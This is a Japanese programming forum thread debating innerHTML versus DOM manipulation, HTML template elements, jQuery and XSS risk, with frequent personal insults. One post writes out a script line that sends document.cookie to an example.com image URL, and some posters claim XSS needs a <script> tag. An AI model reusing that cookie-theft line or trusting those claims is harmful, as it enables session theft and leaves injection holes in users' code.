+ JavaScript の質問用スレッド vol.121 +
at HP
[前50を表示]
100:Name_Not_Found
14/11/09 11:32:27.96 .net
いまだにinnerHTML使ってる奴見ると吐き気がする
101:Name_Not_Found
14/11/09 11:46:31.07 .net
場合によると思うけどね
jQueryにも使われてるし、仕様に書かれているくらいだし
102:Name_Not_Found
14/11/09 11:54:41.53 .net
意味不明
innerHTMLは普通に使っていいっていう結論が出たはずだが?
103:Name_Not_Found
14/11/09 12:00:19.93 .net
まあこの辺りでさんざん語られたことのコピペかな
+ JavaScript の質問用スレッド vol.117 +
スレリンク(hp板:531-番)
104:Name_Not_Found
14/11/09 12:19:35.74 .net
>>100
なにいってんのjQueryもメインはremoveChildで消してるんだけど
105:Name_Not_Found
14/11/09 12:20:03.17 .net
だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ
106:Name_Not_Found
14/11/09 12:21:07.15 .net
適材適所
原理主義はアホ
っていう結論になったはずだが?
107:Name_Not_Found
14/11/09 12:22:53.36 .net
適材適所ってなんだよ遅くて非効率なものを使う必要はねえんだよ
108:Name_Not_Found
14/11/09 12:36:22.89 1ma5/uRs.net
>>103
> だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ
速かったよ。
一見文字列を解釈する必要がある分時間がかかるから
不思議に思えるが、JavaScriptがネイティブでないのが原因。
innerHTMLだと、代入した後は
すべてネイティブで処理されるから早いが、
それと同等なことをネイティブでないJavaScriptでやると
1つずつオーバーヘッドが加わる。
あとさすがにブラウザ、HTMLテキストを解釈するのが仕事だけあって
相当チューニングされてる。
109:Name_Not_Found
14/11/09 12:50:16.73 .net
一度に代入できるのに遅いわけないだろw
110:Name_Not_Found
14/11/09 13:01:20.25 .net
>>103
遅くなるのは
innerHTML += string
を繰り返す場合だけだと思うが
これは前に挿入されたHTMLの構文解析を重複して繰り返す
ことに他ならない。遅くなるのは当然でベンチマークとして不公平
純粋な意味で innerHTML が劇的に遅いとされるベンチマーク結果はあるの?
111:Name_Not_Found
14/11/09 13:12:23.25 .net
URLリンク(jsperf.com)
112:Name_Not_Found
14/11/09 13:13:33.42 .net
遅くないって逝ってた奴出てこいよ
113:Name_Not_Found
14/11/09 13:16:18.20 .net
innerHTMLが敬遠されるのは速さじゃなくてXSS問題の方が大きいと思う
>>96がinnerHTMLを使ったコードだったら、>>07は吐き気を覚えるのだろう
114:Name_Not_Found
14/11/09 13:24:21.07 .net
初心者がinnerHTMLが1番って結論を出したらそれがこのスレの総意のように扱うな
115:Name_Not_Found
14/11/09 13:25:08.17 .net
innerHTML推し派はDOM XSSとか知らない
116:Name_Not_Found
14/11/09 13:27:46.52 .net
両者の長所短所を知っている人ならば、どっちか片方だけがいいだなんて言わない
117:Name_Not_Found
14/11/09 13:30:44.00 .net
いいえ、innerHTMLはデメリットしかない
118:Name_Not_Found
14/11/09 13:40:40.82 .net
URLリンク(jsperf.com)
innerHTMLの方が速い
119:Name_Not_Found
14/11/09 13:47:36.74 .net
XSS問題はinnerHTMLが抱える根幹の問題
XSSの発生しない方法があるなら、セキュリティ意識の高い人はinnerHTML以外を選択する
XSSに目をつぶるとしても、textContent, TextNode#data, insertAdjacentHTML に言及されるべきなのだが、既に>101で語り尽くされてる
120:Name_Not_Found
14/11/09 13:55:02.75 .net
>>116
DOM追加でinnerHTML使ったらXSSが発生するよ?
121:Name_Not_Found
14/11/09 13:59:37.37 .net
< と > をエスケープすればいいだけじゃん
122:Name_Not_Found
14/11/09 14:09:39.57 .net
appendChildがわざわざエスケープしてくれるのに手動でやるのか?
123:Name_Not_Found
14/11/09 14:24:33.49 .net
おっと、appendChildがエスケープって語弊があるな
124:Name_Not_Found
14/11/09 14:44:10.78 .net
手動ですればいいじゃん
innerHTMLの大きな問題点はXSSじゃない
125:Name_Not_Found
14/11/09 15:14:45.06 .net
はあ?
126:Name_Not_Found
14/11/09 18:31:54.69 .net
innerHTMLの問題はXSS以外にもあるが、既に>>101で議論されたので改めて議論する事もない
127:Name_Not_Found
14/11/09 18:33:06.53 DNSyM79S.net
>>118
> DOM追加でinnerHTML使ったらXSSが発生するよ?
なら、XSSが発生しないように
チェックすればいいだけじゃないの?
128:Name_Not_Found
14/11/09 18:39:55.90 .net
>>125
テキストノード操作すればチェックする必要がない
故にチェックミスも発生しない
129:Name_Not_Found
14/11/09 18:42:15.67 .net
>>125
テキストノード操作すればチェックする必要もない
130:Name_Not_Found
14/11/09 18:57:48.22 .net
innerHTMLはXSSが問題だと言っている人は、innerHTMLを使ってはいけないっていう主張なの?
131:Name_Not_Found
14/11/09 19:00:47.42 .net
遅くてDOMを壊す恐れがあるものを使う必要はない
132:Name_Not_Found
14/11/09 19:02:03.30 .net
ふーんじゃあjQueryも使わないんだね
133:Name_Not_Found
14/11/09 19:06:20.18 .net
jQueryを立てにして逃げんなよ
お前の言葉で反論どうぞチキン
134:Name_Not_Found
14/11/09 19:09:48.39 .net
jQueryは使わないって言えばいいだけなのに、なんで煽るんだろうね
135:Name_Not_Found
14/11/09 19:17:04.33 .net
自分の言葉で考えたことを述べましょう
136:Name_Not_Found
14/11/09 19:26:48.72 .net
例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
innerHTML なら一行で済みます。十分大きな利点です
このコードも innerHTML を使わずに書くというのなら、私の負けです。毎日仏壇に掲げて尊敬します
137:Name_Not_Found
14/11/09 19:27:46.54 .net
基本的にjQueryでもinnerHTMLを利用しているAPIは使わない
使わなくて困ったことがない
138:Name_Not_Found
14/11/09 19:37:06.20 .net
>>134
> 例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
まず、JavaScriptコード内にコンテンツを埋め込むという設計があり得ないから、そういうコードがあるなら設計から見直す
HTML上に用意されているコンテンツをJavaScriptで改変するのが基本
外部コンテンツを利用する場合は XML, CSV, JSON 等の整形フォーマット化されたデータをJavaScriptで取得して一定規則に則った方法でHTML出力する
139:136
14/11/09 19:42:37.16 EDVOS3A9.net
これらを実装する時には innerHTML は使わない
createTextNode, createElement, appendChild 等のDOM操作を使う
140:134
14/11/09 20:07:11.50 .net
確かに。言われてみればそうですね
innerHTMLを使うこと自体は問題ないけど、そもそも使う機会がないですし、使うような設計は見直すべきですね
大変失礼しました。今から仏壇に掲げてきます
141:Name_Not_Found
14/11/09 20:31:50.02 .net
>>136
>XML, CSV, JSON 等の整形フォーマット化されたデータを
コード内に埋め込むかどうかは別として
HTML 自体も整形フォーマット化されたデータなので
外部から取得したHTMLデータをinnerHTMLで直接的に放り込むことは
ありだと思うよ
142:136
14/11/09 21:50:57.54 EDVOS3A9.net
>>139
> HTML 自体も整形フォーマット化されたデータなので
ここでいう整形フォーマットとはデータフォーマットを指し、次の効果を期待する
- 他のフォーマットに容易に変換できる
- JavaScriptで解析できる
- DOMとして再構築できる
例えば、2列のCSVフォーマットがあるなら、Excelで編集可能な上にJavaScriptからdl要素、table要素として出力可能だろう
データはシンプルでなければならないし、JavaScriptで出力する時に様々な形式で出力可能な事を期待する
HTMLは論理構造といわれるが、データ構造としては余計な要素が多すぎる
table要素は比較的データ構造として使えるが、2次元データなら CSV, JSON の方が容易に扱えるだろう
DOM操作前提ならXMLの方が拡張性が高い
143:Name_Not_Found
14/11/09 21:58:09.64 .net
HTML Templatesが普及すれば万事解決
144:Name_Not_Found
14/11/09 22:15:30.68 EDVOS3A9.net
>>141
テンプレートHTMLは現状、JavaScriptでincludeするのは筋が悪い
もし、そういう意味で innerHTML を使用しているのならサーバサイドに任せるべきだ
145:Name_Not_Found
14/11/09 22:20:03.00 .net
>>142
あ、HTML Templatesっていうのは、HTML5のtemplate要素のことね
146:Name_Not_Found
14/11/09 22:32:31.81 EDVOS3A9.net
>>143
なるほど、失礼した
URLリンク(www.html5rocks.com)
HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が高い
ついでにtemplate要素と innerHTML に関連性を見出せないのだが、どういう理屈で何が解決するのだろうか
147:Name_Not_Found
14/11/09 22:39:27.47 .net
すまん俺は141や143でがあるが139ではない
148:Name_Not_Found
14/11/09 22:51:12.56 DNSyM79S.net
また意味もなくinnerHTMLはXSSが起きるって
言ってる奴いるのか?
XSSが起きる条件わかってないだろ。
外部から渡された任意のHTMLを処理するときだけだぞ。
ここまで言えば、まずありえない話だって気づくよな?
反論したいなら、具体的に起きる条件を書いて反論してくれよな。
149:Name_Not_Found
14/11/09 22:54:04.05 .net
外部ってなんのこと?
150:Name_Not_Found
14/11/09 22:56:09.37 DNSyM79S.net
>>147
どんなデータが来るのかを
知ることが不可能なもののこと
例えばユーザーが入力するデータは
知ることが不可能。
151:Name_Not_Found
14/11/09 22:57:03.49 .net
じゃあ内部は?
152:Name_Not_Found
14/11/09 23:00:55.60 DNSyM79S.net
>>149
内部は自分で書いたコード
例えば、自分で、HTMLに
<script>document.write('URLリンク(example.com)' + document.cookie')</scrpt>
って書いたら、cookieの内容が外部サイトに漏れて危険じゃないですか。
document.writeは危険です!っていう馬鹿はいないだろう?
153:Name_Not_Found
14/11/09 23:02:24.95 DNSyM79S.net
訂正
× <script>document.write('URLリンク(example.com)' + document.cookie')</scrpt>
○ <script>document.write('<img src="URLリンク(example.com)' + document.cookie' + '">")</scrpt>
154:Name_Not_Found
14/11/09 23:10:53.11 DNSyM79S.net
>>144
> HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
物による。
処理がJavaScriptだけで完結するようなものは、JavaScriptで生成して良い。
例えば、OKボタンだけのalertや、入力項目があるだけのconfirmの
代わりとなるダイアログライブラリとかね。
でも、任意のHTMLの内容をダイアログにだす。なんてものは
JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
というかそういうことをするためにtemplate要素がある。
「テンプレートの内容が引数になる場合」と考えればいい。
なお、外部から渡されるHTMLではない場合、
XSSは発生しないので、innerHTMLを使うとシンプルで分かりやすくなる。
> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が
つまり「JavaScript側でtemplateとなる要素ノードを生成」するときにHTMLで
var html = '<table><tr><td>なんとか</td></tr></table>'; みたいに書いて要素ノードを生成すると
わかりやすいだろう? これだけのものがたった一行で書けたしね。
155:Name_Not_Found
14/11/09 23:20:29.85 DNSyM79S.net
本質はHTML断片をHTMLに置きたいか
JavaScriptに置きたいかってことなんだよな。
HTMLに置きたいならば、template要素。
JavaScriptに置きたいならば、・・・ヒアドキュメントが欲しい。
工夫次第でヒアドキュメントっぽいことができるのは知ってるけどね。
156:136
14/11/09 23:33:25.23 EDVOS3A9.net
>>152
少なくとも私の運用法ではtemplate要素にメリットは感じなかった
既存のHTML改変ならtemplate要素を使う必要がないし、外部データからDOMを起こすならノード管理するほうが便利
innerHTML を利用したい場面は見つからなかった
> でも、任意のHTMLの内容をダイアログにだす。なんてものは
> JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
「ダイアログ」の定義が不明だが、HTMLで出来ているのならノード操作だけで十分に完結できる
後は元となるデータをどこから引っ張るかによるのだが、いずれにしてもデータを取得してDOMを構築する手法は何も変わらない
157:Name_Not_Found
14/11/09 23:37:15.63 DNSyM79S.net
> HTMLで出来ているのならノード操作だけで十分に完結できる
完結できるかどうかではなく、
重要なのはシンプルに完結できるかどうかだ。
その点が見えてないと、コードはムダに複雑になるばかりだぞ。
158:136
14/11/09 23:39:29.59 EDVOS3A9.net
>>153
> 本質はHTML断片をHTMLに置きたいか
> JavaScriptに置きたいかってことなんだよな。
私に言わせれば、そこは本質じゃない
そもそも、HTML断片で管理せず、データで管理する
HTMLはデータとしては余計な情報が多い
159:Name_Not_Found
14/11/09 23:42:00.54 DNSyM79S.net
>>156
今話をしているのは、データではない。
"単純にHTMLに変換するデータ" だ
データだけ書いてそれをHTMLに変換するなら
そんな無駄な作業は無くして直接HTMLを生成したほうが
わかりやすい。
反論したいなら、
var html = '<table><tr><td>なんとか</td></tr></table>'
任意の要素.innerHTML = html;
これをシンプルに書いて見せてみ。
160:136
14/11/09 23:46:17.30 EDVOS3A9.net
>>157
>>136の繰り返し
そんな設計にはしない
161:Name_Not_Found
14/11/09 23:47:25.99 DNSyM79S.net
>>158
なんで「俺はしない」が反論になると思ってんの?
お前がどうとか関係ねーよ。
innerHTMLをコードで書いたら
シンプルに出来ないだろう?
162:Name_Not_Found
14/11/09 23:54:59.86 EDVOS3A9.net
>>159
使う必要がないのだから使わない
やろうとしていることがナンセンスなのだから仕方ないだろう
例えば、「CSSを使わずに段組レイアウトしてみて、tableレイアウトでないと出来ないでしょ?」といっても誰も納得しないだろう
163:Name_Not_Found
14/11/09 23:59:08.50 DNSyM79S.net
>>168
たとえが意味不明。
JavaScriptでHTML(要素ノード)を生成するのが前提の話だろ?
> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して
ほらそう書いてある。
わざわざグダグダなコード書いてHTMLを生成するなら
最初からHTMLを書いたほうが楽。
164:Name_Not_Found
14/11/10 00:02:01.29 .net
レベルの違う者同士の不毛な言い争い
165:Name_Not_Found
14/11/10 00:08:07.72 vE07iE/R.net
仕方ないよ。template要素がなぜ必要とされて
作られたのか?も理解できてないんだから。
俺なんか、ウェブの新しい技術を聞くたびに
あー、やっとそれができたんだねって
思うぐらいなんだから。
出来てから、それが必要とされた理由を理解する者と
必要な理由がわかっていて、出来るのを待ってる者の違いさ。
166:Name_Not_Found
14/11/10 00:15:22.25 .net
>>159
シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね
167:136
14/11/10 00:16:26.51 9HdTHaj2.net
よくある間違いとしてはJavaScriptで何でもかんでも要素を生成して出力するやり方
まず、JavaScriptがなくても動作するようにするのが前提としてあるので、JavaScriptで後付する機能の為のコンテンツはHTMLに用意してある場合がほとんど
その場合は既存DOMから必要なデータを抽出してDOMを再構築するだけでいい
あくまで再構築なので innerHTML で上書きせず、ノード管理で変更箇所は最小限に抑える
データがHTML上に存在しないなら外部データを利用することになる
例えば、二次元データをtable出力したい場合はCSVファイルをJavaScriptでパースし、table要素ノードを生成してappendChildする
こうすることでCSVファイルを編集すれば出力されるtable要素にも反映されるようになる
JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、出力する形式は自由に変更できる
<table> を innerHTML で出力しても実現できるが、csvファイルを基にした方がデータを容易に編集可能だし、csvファイルはシンプルなフォーマットなので別のフォーマットにも容易に変換できる
CSVのパースが複雑だとか、DOMでcreateElementが面倒くさい、とかは大した問題じゃない
データは可搬性が高い方が良いし、データからDOMへの変換処理は安全性/汎用性が高い方が良い
汎用性が高ければ高い程、出力されるDOMの自由度が上がる
保守性、管理性、拡張性もろもろを考えるとHTML断片を扱うよりシンプルなデータから扱ったほうが合理的
>>162
忠告ありがとう
この辺にしておく
168:Name_Not_Found
14/11/10 00:24:04.20 vE07iE/R.net
>>164
> シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね
innerHTMLだと、シンプルかつパフォーマンスがいいからね。
確かにシンプルとパフォーマンスは全く関係ないけど
169:Name_Not_Found
14/11/10 00:25:02.54 vE07iE/R.net
>>165
えっと、JavaScript製のテンプレートエンジンの
存在意義もわからない?
そっかぁ。その程度のレベルなんだね。
170:Name_Not_Found
14/11/10 00:28:40.75 .net
下らない煽りが多くてうんざり
IDが出ているだけマシか
171:Name_Not_Found
14/11/10 00:32:39.34 vE07iE/R.net
ID出しておくと便利で、うざいやつからの反論が無くなるんだよね。
だからワンサイドゲームになるw
172:Name_Not_Found
14/11/10 00:36:20.86 .net
彼は自己愛性パーソナリティ障害に該当するように見えた
内向的な人は大なり小なりその傾向があるが、流石に酷いな
173:Name_Not_Found
14/11/10 00:40:20.15 .net
× 反論が無くなる
○ 呆れて無視される
174:Name_Not_Found
14/11/10 00:52:01.97 .net
>>166
逆、innerHTMLのパフォーマンスはよくない
175:Name_Not_Found
14/11/10 00:58:02.62 vE07iE/R.net
>>171
無視でもなんでもいいわw
言い返さないのなら結構。
それが他の人にどう見えるかが重要なのだから。
176:Name_Not_Found
14/11/10 01:01:07.36 vE07iE/R.net
>>172
じゃあ、パフォーマンスについてはそれでいいよ。
それで本題。シンプルかどうかで言えば、
シンプルだろ?
177:Name_Not_Found
14/11/10 01:02:23.81 .net
議論スレではないのだが…
どのスクリプトエンジンのどのリリースのことなのやら
178:Name_Not_Found
14/11/10 01:23:24.12 .net
> それが他の人にどう見えるかが重要なのだから。
最後まで残った人が正しいように見える、と思ってるんだろうな
ID:vE07iE/R を読み返してもそう思えるなら重症
179:Name_Not_Found
14/11/10 01:24:16.93 vE07iE/R.net
>>176
誰もあんたの意見なんて聞いてないんだよ。
180:Name_Not_Found
14/11/10 01:25:11.56 .net
大丈夫
誰も ID:vE07iE/R の意見を聞いてないから、気にするな
181:Name_Not_Found
14/11/10 01:26:52.27 vE07iE/R.net
気にしてるからレスしてんだろw
嫌ならなんで無視できないのか?
もちろん気にしているならレスしても
構わないがねw
182:Name_Not_Found
14/11/10 01:36:14.97 vE07iE/R.net
>>165
template要素を使うよくある例がAjaxだね。
Ajaxを使ってデータだけ取ってくる。
そのデータを元にHTMLを生成する。
当然ながらAjaxを使う以上、JavaScriptを使うことになる。
それを加工して表示する。
例えばテーブルのHTMLの一部を加工するなど。
そういった時、JavaScriptは加工するということは知っていても
どのようなマークアップにするかはHTMLしだい。
テーブルの ”一部" ということから推測できるように
その他の部分はHTMLで書かれており、それはJavaScriptはしらない。
どういったマークアップにするかはHTMLできめることなので、
HTMLにテンプレートとして用意しておき、JavaScriptでは
その一部だけ値を入れ込む。
これにより、HTMLとJavaScriptが綺麗に分離される。
183:Name_Not_Found
14/11/10 01:43:36.62 vE07iE/R.net
CSVデータからテーブルを生成する話も同じ。
<table>
<tr><td>name1</td><td>value1</td></tr>
<tr><td>name2</td><td>value2</td></tr>
<tr><td>name3</td><td>value3</td></tr>
</table>
こういうものをDOM命令で作るのは馬鹿らしい。
createElementでtableを作ってtrを作ってtdを作ってappendして。
何をやってるのかさっぱりわからなくなる。
更にtableやtrやtdに属性を付けられるようにしたいとかなると、
テーブルを生成する命令に、いろんなパラメータを渡さなくければいけなくなる。
デザイナーが「このtableにとあるclassを付けたいんですけど」って言ったら
JavaScriptを修正しなくてはいけなくなる。
HTMLとJavaScriptが密接に結合してしまってるからね。
こういう時はテンプレートを使って、デザイナーが作成したHTMLの断片に
JavaScriptはプレースホルダに値を埋めるだけにするとシンプルに書くことが出来る。
もちろんHTMLだから自由にclassを設定したり出来る。
184:Name_Not_Found
14/11/10 01:45:42.59 vE07iE/R.net
>>165で
> JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、
なんて言ってるけど、よく見ればわかるよね。
JavaScriptのコードを書き換える必要があるって書いてある。
テンプレートを使うと、JavaScriptとHTMLは完全に分離されているから、
JavaScriptを一切変更しなくても、table要素ではなく、別の要素にすることも出来る。
HTML、つまりマークアップを書く人が、自分の好み通りの
マークアップを書くことが出来る。これが分離というもの。
185:Name_Not_Found
14/11/10 01:54:07.33 .net
>>181
> createElementでtableを作ってtrを作ってtdを作ってappendして。
> 何をやってるのかさっぱりわからなくなる。
この程度でわからなくなるレベルか
186:Name_Not_Found
14/11/10 01:59:00.69 .net
innetHTMLの話はどこへいった?
都合が悪くなってtemplate要素に鞍替えか?
187:Name_Not_Found
14/11/10 02:15:10.40 .net
>>182
よくわかんないんだけど、HTMLのコーダーでJavaScriptを知らない人っているの?
そもそも、表示を変えたければ、HTMLだろうがJavaScriptだろうが、
何かしらか変更しなきゃいけないんだから、
そんなのはプロジェクトのコーディング基準で決めればいいだけの話しで、
勝手に好みでコーダーがいじったら大問題だとおもうが。
188:Name_Not_Found
14/11/10 03:22:24.65 .net
innerHTMLってevalのDOM版のようなものだよなw
evalをどのような場面で使うかというのと似たようなものw
189:Name_Not_Found
14/11/10 04:05:51.10 .net
>>185
コーダーって、HTML,CSSだけでしょ?
JavaScriptはプログラマーだよ
JSのクラスは、一般的な静的に派生させるクラスではなく、
動的なプロトタイプ型のクラス
こんなややこしいものを、
簡単にプログラミングできないでしょ?
変数に、var を付けずに、また、"use strict"も付けずに、
プログラムしている人も多いんじゃないの?
190:Name_Not_Found
14/11/10 08:37:20.32 .net
>>187
JavaScriptプログラマならブロトタイプを理解できて当然
ただし、table操作にブロトタイプを理解する必要はない
Strict Modeも全く関係ない
191:Name_Not_Found
14/11/10 10:52:16.36 .net
最新のjQueryのソース見たけど、初期化の時点でinnerHTMLが5回使われてるね
どのAPIを使うかなんて関係なく、innerHTMLを否応なく使わされているわけだ
192:Name_Not_Found
14/11/10 11:45:59.51 .net
jQueryが使われてれば安全なの?
193:189
14/11/10 11:49:17.09 .net
いや、innerHTMLを毛嫌いしている人がいるみたいだから教えてあげただけだ
194:Name_Not_Found
14/11/10 11:50:26.54 .net
ここでの話とjQueryで使われているのは何か関係あるの?
195:189
14/11/10 11:52:09.54 .net
>>135で誤ったことを言っているから正しいことを言っただけだ
自分に関係ないのなら俺のレスは無視していい
196:Name_Not_Found
14/11/10 11:53:27.70 .net
まさかjquery使っていてinnnerHTML否定してる奴はいないよな?
197:Name_Not_Found
14/11/10 12:07:08.59 .net
jQueryが使ってるからinnerHTMLを使っていいという理屈はからは何の知見も生まれないことに気付こうな
198:189
14/11/10 12:17:00.14 .net
>>195
俺はそんなこと言ってないってw
innerHTMLが嫌いな人でjQueryを使っている人がいた(>>135)から教えただけ
もし他にもそういう人がいたら、jQueryを使うのをやめるか、あるいは自分で書き換えるといいと思う
199:Name_Not_Found
14/11/10 12:58:41.45 .net
innerHTML使わない(キリッ
でもjqueryは使ってる←低脳w
200:Name_Not_Found
14/11/10 13:34:42.97 .net
その個人攻撃には何の生産性も感じられないからいい加減に自重しろ
201:Name_Not_Found
14/11/10 13:38:28.77 .net
jQuery使ってるのにinnerHTML否定した馬鹿が顔真っ赤になって必死だな
202:Name_Not_Found
14/11/10 13:59:44.35 .net
率直にいってjQueryには好ましくない実装が結構あるからねえ
innerHTMLに限らず、使う必要性はあまり感じないね
便利なプラグインがあって自分で作る手間を省きたい時に使うぐらいかな
大抵自分で作ろうとするし、jQueryがなくても困らないだろうね
「どうせおまえもjQueryがなかったら困るんだろ?」はただの思考停止の信者発言だし、問題の本質から論点をずらして逃げてるだけ
まともな議論にもなりそうにないね
203:Name_Not_Found
14/11/10 15:11:10.74 .net
jQueryが2つ以上のファイル構成なら多くの人が使ってなかっただろう
204:Name_Not_Found
14/11/10 15:59:32.97 .net
スタンスの問題では?
コード記述の便利さを取るか、コード実行の最適化を図るか
205:Name_Not_Found
14/11/10 20:13:53.72 .net
innerHTMLを毛嫌いするのに正当な理由がないから
jQueryで使っていても何の問題もないんだが。
明日太陽が昇らないかもって
心配しているようなもん。
206:Name_Not_Found
14/11/10 20:15:19.99 .net
うーん? innerHTMLを根拠なく否定しているやつが
馬鹿というのが大前提なんだが、それわかってる?
そこから説明しないといかんの?
innerHTMLを否定する理由はないという
コンセンサスは得られているかな?
207:Name_Not_Found
14/11/10 20:22:30.14 .net
>>202
それ言うならスタイルだろ…
208:Name_Not_Found
14/11/10 20:37:11.00 .net
>>205
スタンスで間違ってないと思うけど、衝突の原因はそこじゃないんだよね
相手を打ち負かす目的で発言している人とは論理的に議論できる気がしないよ
209:Name_Not_Found
14/11/10 21:03:59.13 .net
うちの上司は、すぐに、エビデンス!とかフィージビリティ!とか逆に!とか言う。
と思っていたら、気が付いたら自分も言うようになってた。
210:Name_Not_Found
14/11/10 21:19:24.57 .net
>>207
「逆に!」だけ別次元の何かを感じさせるな
211:Name_Not_Found
14/11/10 21:20:47.50 .net
根拠はもう出てるだろ
212:Name_Not_Found
14/11/10 21:21:38.97 .net
innerHTMLはDOMを壊す恐れがあるから使うなっ!
213:Name_Not_Found
14/11/10 21:25:37.65 .net
innerHTMLを使ったらダメという根拠は、
代入するHTMLに<script>タグが含まれていたらXSSが起きるから
逆に言えば、innerHTMLに<script>タグが含まれることがないと
保証されているなら使っていい。
ここまでは同意とれてるよね?
214:Name_Not_Found
14/11/10 21:29:17.83 .net
innerHTMLはevalと一緒。
だからevalは使ってはならない。
Googleのスタイルガイドでも
evalは絶対に使ってはならないと書いてある
215:。 ↓うっそぴょーんw http://cou929.nu/data/google_javascript_style_guide/#eval > デシリアライズ (deserialization) するときのみ使用可. (例えば RPC レスポンスを評価するときなど)
216:Name_Not_Found
14/11/10 21:31:47.24 .net
ユーザーが入力した値をinnerHTMLで
代入するときは気をつけないといけないが、
プログラマが書いた文字列を代入するだけなら
安全だから問題ないんだよ。
最低限これぐらいは理解してから会話に参加してくれ。
217:Name_Not_Found
14/11/10 21:45:44.89 .net
人的ミスがないとは言い切れない
218:Name_Not_Found
14/11/10 21:46:51.14 .net
そうなるとサーバサイドで文字列を無害化しなくていいって言ってるるようなもんだね
echo htmlspecialchars($s, ENT_QUOTES, 'utf-8');はしなくていい
ehoc $s;でいいみたいなことをいってるんだね
219:Name_Not_Found
14/11/10 21:49:06.75 .net
>>211
他にも問題があるけどいくらいっても理解されないようだからもういい
220:Name_Not_Found
14/11/10 21:53:17.53 .net
>>214
人為ミスを起こすという話をすると、
createElement('script')って書いたら、
script実行できちゃうから、
createElementも使ったらダメってことになるけどいいの?
221:Name_Not_Found
14/11/10 21:54:57.38 .net
>>101を全く理解してないからXSSだけとか適当な事をいうんだろう
222:Name_Not_Found
14/11/10 21:55:01.01 .net
>>215
おいおい、話が全く違うだろう。
その例で言うのなら
echo 'aaa' は危険だから
echo htmlspecialchars('aaa', ENT_QUOTES, 'utf-8'); って書けって言っているようなもんだよ。
違いわかる? ユーザーの入力値がはいった変数じゃないんだ。
プログラマが入れた固定の文字列。
だから安全なんだよ。
223:Name_Not_Found
14/11/10 21:56:19.69 .net
>>216
その問題はすべて反論しただろw
224:Name_Not_Found
14/11/10 21:57:31.58 .net
echo はミスをするとXSSを起こす。
だからechoを使うな!
↑
え?w
225:Name_Not_Found
14/11/10 21:58:21.95 .net
innerHTML はミスをするとXSSを起こす。
だから innerHTML を使うな!
↑
え?w
226:Name_Not_Found
14/11/10 21:58:59.24 .net
>>217
>>214はヒューマンエラーでXSS問題が起きるリスクを回避する話をしているのだと思うが
趣旨を理解しない意見で煙に巻くのがお得意のようだな
227:Name_Not_Found
14/11/10 22:00:17.47 .net
>>223
だから、ヒューマンエラーが起きるって話をするならば、
echo は使っちゃダメってことですよね?
228:Name_Not_Found
14/11/10 22:02:49.62 .net
script 要素に appendChild() とかやったらどうなる?
229:Name_Not_Found
14/11/10 22:02:54.79 .net
いつからバグをヒューマンエラーっていうようになったの?
バグをしたら脆弱性が起きるような命令は使ったらダメというのなら
プログラム書けないだろ。
ファイルを削除するdeleteは、バグがあったら
全ファイル消えるから使っちゃダメとか?w
230:Name_Not_Found
14/11/10 22:03:05.20 .net
>>224
echoなど知らん
相変わらず、煙に巻くのが得意だな
231:Name_Not_Found
14/11/10 22:05:03.83 .net
>>225
> script 要素に appendChild() とかやったらどうなる?
そりゃ、そういうコードを書く奴が悪いというのは誰もが認めると思うが
ヒューマンエラーで「間違ってappendChild しちゃいました」なんて事が起こりうると思っているのか?
232:Name_Not_Found
14/11/10 22:10:54.50 .net
>>226
ヒューマンエラーでバグが発生するという理屈も分からないのか
原因と結果を切り分けて考えることも出来ないのか
233:Name_Not_Found
14/11/10 22:12:24.92 .net
>>228
いや、単純にscript要素に子要素ノードとか作れてしまうのか
と思って聞いてみたのだが
> 「間違ってappendChild しちゃいました」
例えば script 要素に id が振られていて、
間違ってその id で getElementById で要素を取得して
appendChild するようなことはあり得るかもしれない
234:Name_Not_Found
14/11/10 22:21:11.44 .net
>>219
え?固定された文字列でもサニタイズしないとかありえませんよ?
235:Name_Not_Found
14/11/10 22:26:15.46 .net
>>230
> 例えば script 要素に id が振られていて、
> 間違ってその id で getElementById で要素を取得して
> appendChild するようなことはあり得るかもしれない
それは appendChild 以前の問題だ
それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
期待しなかった場所に appendChild されたのならデバッグ時に気がつくはずだし、気が付くべきだ
(気が付かなかったのならデバッグが足りない)
XSSの厄介なところは事象が発生しなければ問題にはならないという事だ
ヒューマンエラーでXSSが発生しているのなら意図的にXSSを発生しようとしなければ発見できないだろう
「間違ってappendChildしちゃいました」とは根本的に違う
236:Name_Not_Found
14/11/10 22:27:53.51 .net
> それを認めるなら「間違って innerHTML しちゃいました」も起こりうるのだから
ちなみに「間違って innerHTML しちゃいました」の方が想定されるリスクは大きい
script要素でなくてもXSSが起こりうるからな
237:Name_Not_Found
14/11/10 22:30:48.95 .net
ヒューマンエラーはありとあらゆるセキュリティホールの可能性があるから超危険だ
人間はプログラムを書くべきではないな
238:Name_Not_Found
14/11/10 22:36:32.80 .net
だったらプログラムを書くコンピュータを作ろう
しかしそのコンピューターのプログラムは誰が書こうか
239:Name_Not_Found
14/11/10 22:50:36.22 .net
>>231
あほだろ。
固定の文字列に対してエスケープする意味は無い。
240:Name_Not_Found
14/11/10 22:55:23.85 .net
固定の文字列をechoする時にエスケープしなくていいのは
リスクが0だから。
同様に固定の文字列。innerHTML = '<span>abc</span>'とか
XSSになりようがない。つまりリスク0だから何の問題もない。
リスクが0なのに、そのリスクがどうとか言うのは
リスク管理じゃなくて、単なる過保護。
241:Name_Not_Found
14/11/10 22:57:40.87 .net
間違って innerHTML しちゃっても問題は起きない。
なぜなら、appendChildしちゃいましたと同じだから。
appendChildしても、scriptと入れない限り大丈夫なように
inenrHTMLをscriptを入れない限り大丈夫。
